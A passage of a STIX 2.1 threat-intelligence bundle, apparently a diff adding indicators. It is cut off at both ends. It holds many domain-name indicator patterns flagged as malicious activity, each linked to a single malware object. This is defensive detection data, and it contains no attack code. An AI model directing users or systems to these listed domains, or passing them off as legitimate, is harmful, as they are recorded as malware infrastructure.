"stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.837715Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05998dd2-06c9-4646-a869-adff87952642", + "created": "2026-02-17T19:39:51.838001Z", + "modified": "2026-02-17T19:39:51.838001Z", + "relationship_type": "indicates", + "source_ref": "indicator--4716d236-3694-4bd0-8626-bb36208234f0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9acdaa81-8e8f-4ea6-82e4-6d367191b07b", + "created": "2026-02-17T19:39:51.838074Z", + "modified": "2026-02-17T19:39:51.838074Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='covid19masks.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.838074Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a27461e9-1892-4816-8a0d-6760c776ccdb", + "created": "2026-02-17T19:39:51.838416Z", + "modified": "2026-02-17T19:39:51.838416Z", + "relationship_type": "indicates", + "source_ref": "indicator--9acdaa81-8e8f-4ea6-82e4-6d367191b07b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae33940a-403a-4709-9bac-1d76dedf3495", + "created": "2026-02-17T19:39:51.838494Z", + "modified": "2026-02-17T19:39:51.838494Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nabd.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.838494Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5917a715-bc0e-4bd8-ad8f-b29041c18bd4", + "created": "2026-02-17T19:39:51.838786Z", + "modified": "2026-02-17T19:39:51.838786Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae33940a-403a-4709-9bac-1d76dedf3495", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52fb1e8d-ef44-47d6-b2c5-ca95838e9515", + "created": "2026-02-17T19:39:51.838861Z", + "modified": "2026-02-17T19:39:51.838861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conodeti.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.838861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa5ecb0a-6923-413d-8197-50da11405c9a", + "created": "2026-02-17T19:39:51.839249Z", + "modified": "2026-02-17T19:39:51.839249Z", + "relationship_type": "indicates", + "source_ref": "indicator--52fb1e8d-ef44-47d6-b2c5-ca95838e9515", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--627a1483-a391-4284-8e6a-ec432ba57c0e", + "created": "2026-02-17T19:39:51.839327Z", + "modified": "2026-02-17T19:39:51.839327Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='centent-management.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.839327Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d98b15d-c682-4db4-9929-cc298f6a5293", + "created": "2026-02-17T19:39:51.839633Z", + "modified": "2026-02-17T19:39:51.839633Z", + "relationship_type": "indicates", + "source_ref": "indicator--627a1483-a391-4284-8e6a-ec432ba57c0e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb0cd4e5-e607-4d19-b3ee-1d09651c3632", + "created": "2026-02-17T19:39:51.839711Z", + "modified": "2026-02-17T19:39:51.839711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qwxzyl.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.839711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--454f9139-f213-4ff9-bb89-060e51e24e6d", + "created": "2026-02-17T19:39:51.840005Z", + "modified": "2026-02-17T19:39:51.840005Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb0cd4e5-e607-4d19-b3ee-1d09651c3632", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3f58cc65-d053-4163-a394-b30a8f45f31e", + "created": "2026-02-17T19:39:51.840084Z", + "modified": "2026-02-17T19:39:51.840084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribune-mg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.840084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1344b754-1956-4361-8d32-437ea9a276af", + "created": "2026-02-17T19:39:51.840392Z", + "modified": "2026-02-17T19:39:51.840392Z", + "relationship_type": "indicates", + "source_ref": "indicator--3f58cc65-d053-4163-a394-b30a8f45f31e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6689f541-4e68-49b2-9326-e52ba0b059a9", + "created": "2026-02-17T19:39:51.840471Z", + "modified": "2026-02-17T19:39:51.840471Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlly.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.840471Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edb10fa7-6bc1-4d9e-8bf1-7d1b2a046cf4", + "created": "2026-02-17T19:39:51.840767Z", + "modified": "2026-02-17T19:39:51.840767Z", + "relationship_type": "indicates", + "source_ref": "indicator--6689f541-4e68-49b2-9326-e52ba0b059a9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1f0a842-96be-4e46-80a9-0c4381d9743c", + "created": "2026-02-17T19:39:51.840843Z", + "modified": "2026-02-17T19:39:51.840843Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clockupdate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.840843Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3fd6788-8525-4c57-a5a0-da25292ca2af", + "created": "2026-02-17T19:39:51.841137Z", + "modified": "2026-02-17T19:39:51.841137Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1f0a842-96be-4e46-80a9-0c4381d9743c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f3d87a0-37d4-4ba8-830b-a399537f15e3", + "created": "2026-02-17T19:39:51.841212Z", + "modified": "2026-02-17T19:39:51.841212Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kalwaski.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.841212Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d12f3933-376e-431d-8110-a32b6d90a974", + "created": "2026-02-17T19:39:51.84151Z", + "modified": "2026-02-17T19:39:51.84151Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f3d87a0-37d4-4ba8-830b-a399537f15e3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ae25064-c0eb-46a8-b92e-d8a75dc621a7", + "created": "2026-02-17T19:39:51.841585Z", + "modified": "2026-02-17T19:39:51.841585Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sysly.sbs']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.841585Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e69af8c6-2089-468a-8721-f81d63ad46d1", + "created": "2026-02-17T19:39:51.841874Z", + "modified": "2026-02-17T19:39:51.841874Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ae25064-c0eb-46a8-b92e-d8a75dc621a7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ad80452-26f6-4a1b-bd97-e160c187ee7b", + "created": "2026-02-17T19:39:51.841947Z", + "modified": "2026-02-17T19:39:51.841947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blitzmedia.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.841947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64d0aae0-48c8-43b6-88a2-f0150506b14f", + "created": "2026-02-17T19:39:51.842239Z", + "modified": "2026-02-17T19:39:51.842239Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ad80452-26f6-4a1b-bd97-e160c187ee7b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e98d4473-6b1a-46be-be1d-b3f2dc06e070", + "created": "2026-02-17T19:39:51.842313Z", + "modified": "2026-02-17T19:39:51.842313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='folha-9.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.842313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ddc9d8d-96d5-4a46-a17b-80fd13bc5498", + "created": "2026-02-17T19:39:51.842672Z", + "modified": "2026-02-17T19:39:51.842672Z", + "relationship_type": "indicates", + "source_ref": "indicator--e98d4473-6b1a-46be-be1d-b3f2dc06e070", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07ff3502-2c79-4490-85f4-3dd2f40137e5", + "created": "2026-02-17T19:39:51.842751Z", + "modified": "2026-02-17T19:39:51.842751Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mastershop.biz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.842751Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b1547ee-5f65-4150-83b2-5ae8c8474f75", + "created": "2026-02-17T19:39:51.843084Z", + "modified": "2026-02-17T19:39:51.843084Z", + "relationship_type": "indicates", + "source_ref": "indicator--07ff3502-2c79-4490-85f4-3dd2f40137e5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0905baf1-dba9-498e-8376-68e6378f7897", + "created": "2026-02-17T19:39:51.843183Z", + "modified": "2026-02-17T19:39:51.843183Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enikos.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.843183Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb25e881-5f33-4b9f-8c97-5cc1f2229a56", + "created": "2026-02-17T19:39:51.843515Z", + "modified": "2026-02-17T19:39:51.843515Z", + "relationship_type": "indicates", + "source_ref": "indicator--0905baf1-dba9-498e-8376-68e6378f7897", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77f0b238-f2c3-47fa-9eb2-d97a675e3761", + "created": "2026-02-17T19:39:51.843598Z", + "modified": "2026-02-17T19:39:51.843598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2adigital.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.843598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84460799-9552-4867-963b-3614875e7003", + "created": "2026-02-17T19:39:51.84392Z", + "modified": "2026-02-17T19:39:51.84392Z", + "relationship_type": "indicates", + "source_ref": "indicator--77f0b238-f2c3-47fa-9eb2-d97a675e3761", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6026098f-260d-47c7-8af1-09aa23e87350", + "created": "2026-02-17T19:39:51.844002Z", + "modified": "2026-02-17T19:39:51.844002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fimes.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.844002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--006b99e0-8d22-4561-9bf3-f355810d858f", + "created": "2026-02-17T19:39:51.844312Z", + "modified": "2026-02-17T19:39:51.844312Z", + "relationship_type": "indicates", + "source_ref": "indicator--6026098f-260d-47c7-8af1-09aa23e87350", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7e47501-84e8-4875-901f-0d6c51e1148e", + "created": "2026-02-17T19:39:51.844391Z", + "modified": "2026-02-17T19:39:51.844391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mifcbook.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.844391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85ac4a53-1384-43ee-95aa-d0b34f38d75a", + "created": "2026-02-17T19:39:51.8447Z", + "modified": "2026-02-17T19:39:51.8447Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7e47501-84e8-4875-901f-0d6c51e1148e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dbb0985b-0c85-48d8-868e-36dbd1b059dc", + "created": "2026-02-17T19:39:51.84478Z", + "modified": "2026-02-17T19:39:51.84478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bi.tly.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.84478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22b57dd3-738a-4701-855b-bc91a89c2070", + "created": "2026-02-17T19:39:51.845085Z", + "modified": "2026-02-17T19:39:51.845085Z", + "relationship_type": "indicates", + "source_ref": "indicator--dbb0985b-0c85-48d8-868e-36dbd1b059dc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--230dd69b-a7a0-47c6-b495-bb120d84973e", + "created": "2026-02-17T19:39:51.845162Z", + "modified": "2026-02-17T19:39:51.845162Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='candidaturasminfin.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.845162Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--104f2b67-8ced-4b3f-9417-b069d90ef9a4", + "created": "2026-02-17T19:39:51.845478Z", + "modified": "2026-02-17T19:39:51.845478Z", + "relationship_type": "indicates", + "source_ref": "indicator--230dd69b-a7a0-47c6-b495-bb120d84973e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e712f456-f000-4fb7-99a3-8a858fb4ab7b", + "created": "2026-02-17T19:39:51.845555Z", + "modified": "2026-02-17T19:39:51.845555Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortwidgets.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.845555Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6d2eaa6-90af-476d-91be-4fa095b259cd", + "created": "2026-02-17T19:39:51.845866Z", + "modified": "2026-02-17T19:39:51.845866Z", + "relationship_type": "indicates", + "source_ref": "indicator--e712f456-f000-4fb7-99a3-8a858fb4ab7b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e79f146e-4dc9-4e3e-8133-d00cbc11b4c6", + "created": "2026-02-17T19:39:51.845943Z", + "modified": "2026-02-17T19:39:51.845943Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zikolo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.845943Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d668fa4-3763-4e66-8e59-4e32f4067a01", + "created": "2026-02-17T19:39:51.846334Z", + "modified": "2026-02-17T19:39:51.846334Z", + "relationship_type": "indicates", + "source_ref": "indicator--e79f146e-4dc9-4e3e-8133-d00cbc11b4c6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b6c1661-e3cd-4d3f-8c05-7bb63f67f18c", + "created": "2026-02-17T19:39:51.846413Z", + "modified": "2026-02-17T19:39:51.846413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='copy-note.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.846413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d23bd2e-4a9c-43fe-a31b-001373eccd04", + "created": "2026-02-17T19:39:51.846721Z", + "modified": "2026-02-17T19:39:51.846721Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b6c1661-e3cd-4d3f-8c05-7bb63f67f18c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e15478f9-d52d-4e7c-84df-a628c638567d", + "created": "2026-02-17T19:39:51.846797Z", + "modified": "2026-02-17T19:39:51.846797Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sportnow.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.846797Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9617732c-099d-4064-8328-acb47c54baba", + "created": "2026-02-17T19:39:51.847099Z", + "modified": "2026-02-17T19:39:51.847099Z", + "relationship_type": "indicates", + "source_ref": "indicator--e15478f9-d52d-4e7c-84df-a628c638567d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccbe116a-b21b-48db-80b4-165da7335ed3", + "created": "2026-02-17T19:39:51.847175Z", + "modified": "2026-02-17T19:39:51.847175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sdntribune.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.847175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d64400c-e555-4192-a373-2b17a9e86728", + "created": "2026-02-17T19:39:51.847487Z", + "modified": "2026-02-17T19:39:51.847487Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccbe116a-b21b-48db-80b4-165da7335ed3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--011d842f-722a-468c-b2cc-5ee7d1dd12b3", + "created": "2026-02-17T19:39:51.847567Z", + "modified": "2026-02-17T19:39:51.847567Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='telenorconn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.847567Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de364e04-35db-4821-91e4-0b104e6bb51a", + "created": "2026-02-17T19:39:51.847877Z", + "modified": "2026-02-17T19:39:51.847877Z", + "relationship_type": "indicates", + "source_ref": "indicator--011d842f-722a-468c-b2cc-5ee7d1dd12b3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dea02cc6-ed9f-4462-a398-722e02dbafc3", + "created": "2026-02-17T19:39:51.847955Z", + "modified": "2026-02-17T19:39:51.847955Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updatingnews.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.847955Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e0f38a4-52dd-4def-9079-0cab2cb13901", + "created": "2026-02-17T19:39:51.848264Z", + "modified": "2026-02-17T19:39:51.848264Z", + "relationship_type": "indicates", + "source_ref": "indicator--dea02cc6-ed9f-4462-a398-722e02dbafc3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b925b706-cecd-4537-aef2-421b37625b48", + "created": "2026-02-17T19:39:51.84834Z", + "modified": "2026-02-17T19:39:51.84834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2digital.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.84834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52f124f3-5805-4799-9eee-d2b52d7933af", + "created": "2026-02-17T19:39:51.848654Z", + "modified": "2026-02-17T19:39:51.848654Z", + "relationship_type": "indicates", + "source_ref": "indicator--b925b706-cecd-4537-aef2-421b37625b48", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--797bf71e-4695-45fa-9a02-e5c80b10fd54", + "created": "2026-02-17T19:39:51.84873Z", + "modified": "2026-02-17T19:39:51.84873Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bw-guardian.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.84873Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--327b9680-5b7d-4720-bfd8-dd3b44b66c15", + "created": "2026-02-17T19:39:51.849035Z", + "modified": "2026-02-17T19:39:51.849035Z", + "relationship_type": "indicates", + "source_ref": "indicator--797bf71e-4695-45fa-9a02-e5c80b10fd54", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da1b1f9a-60f3-4edd-9fea-814d41238be8", + "created": "2026-02-17T19:39:51.849111Z", + "modified": "2026-02-17T19:39:51.849111Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='link-protection.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.849111Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d81dabd-f159-4ff9-a67f-62111b914b8b", + "created": "2026-02-17T19:39:51.849427Z", + "modified": "2026-02-17T19:39:51.849427Z", + "relationship_type": "indicates", + "source_ref": "indicator--da1b1f9a-60f3-4edd-9fea-814d41238be8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3368c36a-74cf-4727-b63c-4026c12ce2c9", + "created": "2026-02-17T19:39:51.849503Z", + "modified": "2026-02-17T19:39:51.849503Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedymax.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.849503Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f3a471f-57c3-43b0-98ff-62542e39e841", + "created": "2026-02-17T19:39:51.84994Z", + "modified": "2026-02-17T19:39:51.84994Z", + "relationship_type": "indicates", + "source_ref": "indicator--3368c36a-74cf-4727-b63c-4026c12ce2c9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25e08003-cc25-4636-b305-48a5360d56b9", + "created": "2026-02-17T19:39:51.850046Z", + "modified": "2026-02-17T19:39:51.850046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suarapapua.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.850046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a41984a1-d627-4c56-b4a2-e34d8708cb51", + "created": "2026-02-17T19:39:51.850377Z", + "modified": "2026-02-17T19:39:51.850377Z", + "relationship_type": "indicates", + "source_ref": "indicator--25e08003-cc25-4636-b305-48a5360d56b9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efb10a71-1e3e-4856-9891-989a83fdad36", + "created": "2026-02-17T19:39:51.850461Z", + "modified": "2026-02-17T19:39:51.850461Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='url-promo.club']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.850461Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4190795c-2397-4e40-bb74-066f8d05edfa", + "created": "2026-02-17T19:39:51.850778Z", + "modified": "2026-02-17T19:39:51.850778Z", + "relationship_type": "indicates", + "source_ref": "indicator--efb10a71-1e3e-4856-9891-989a83fdad36", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c726f59-a722-4a0c-9f81-88309b720263", + "created": "2026-02-17T19:39:51.85086Z", + "modified": "2026-02-17T19:39:51.85086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='notify-kz.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.85086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5362664-e2f5-4fae-b1ff-745831729576", + "created": "2026-02-17T19:39:51.851182Z", + "modified": "2026-02-17T19:39:51.851182Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c726f59-a722-4a0c-9f81-88309b720263", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a57c1702-99a6-4429-b8b2-c6a52fa3cd69", + "created": "2026-02-17T19:39:51.851263Z", + "modified": "2026-02-17T19:39:51.851263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ffoxnewz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.851263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--534270f6-6a4f-4420-9cdc-ebf310e35059", + "created": "2026-02-17T19:39:51.851574Z", + "modified": "2026-02-17T19:39:51.851574Z", + "relationship_type": "indicates", + "source_ref": "indicator--a57c1702-99a6-4429-b8b2-c6a52fa3cd69", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--78747b96-04b7-47e3-beba-9f29303f0d8d", + "created": "2026-02-17T19:39:51.851655Z", + "modified": "2026-02-17T19:39:51.851655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redirecting.page']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.851655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c440010-59a1-42d1-a5aa-4f835990a8ea", + "created": "2026-02-17T19:39:51.851967Z", + "modified": "2026-02-17T19:39:51.851967Z", + "relationship_type": "indicates", + "source_ref": "indicator--78747b96-04b7-47e3-beba-9f29303f0d8d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d86ffa4-e095-4541-ac9e-8553e576c2eb", + "created": "2026-02-17T19:39:51.852047Z", + "modified": "2026-02-17T19:39:51.852047Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedy.sbs']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.852047Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42d85b1c-1b62-472d-98e5-886e3c2e40a1", + "created": "2026-02-17T19:39:51.852362Z", + "modified": "2026-02-17T19:39:51.852362Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d86ffa4-e095-4541-ac9e-8553e576c2eb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d504696c-7418-4e21-a5cb-886d78459158", + "created": "2026-02-17T19:39:51.852442Z", + "modified": "2026-02-17T19:39:51.852442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='syncservices.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.852442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec71f208-e9c4-45a8-9304-6ca48ee36a71", + "created": "2026-02-17T19:39:51.852755Z", + "modified": "2026-02-17T19:39:51.852755Z", + "relationship_type": "indicates", + "source_ref": 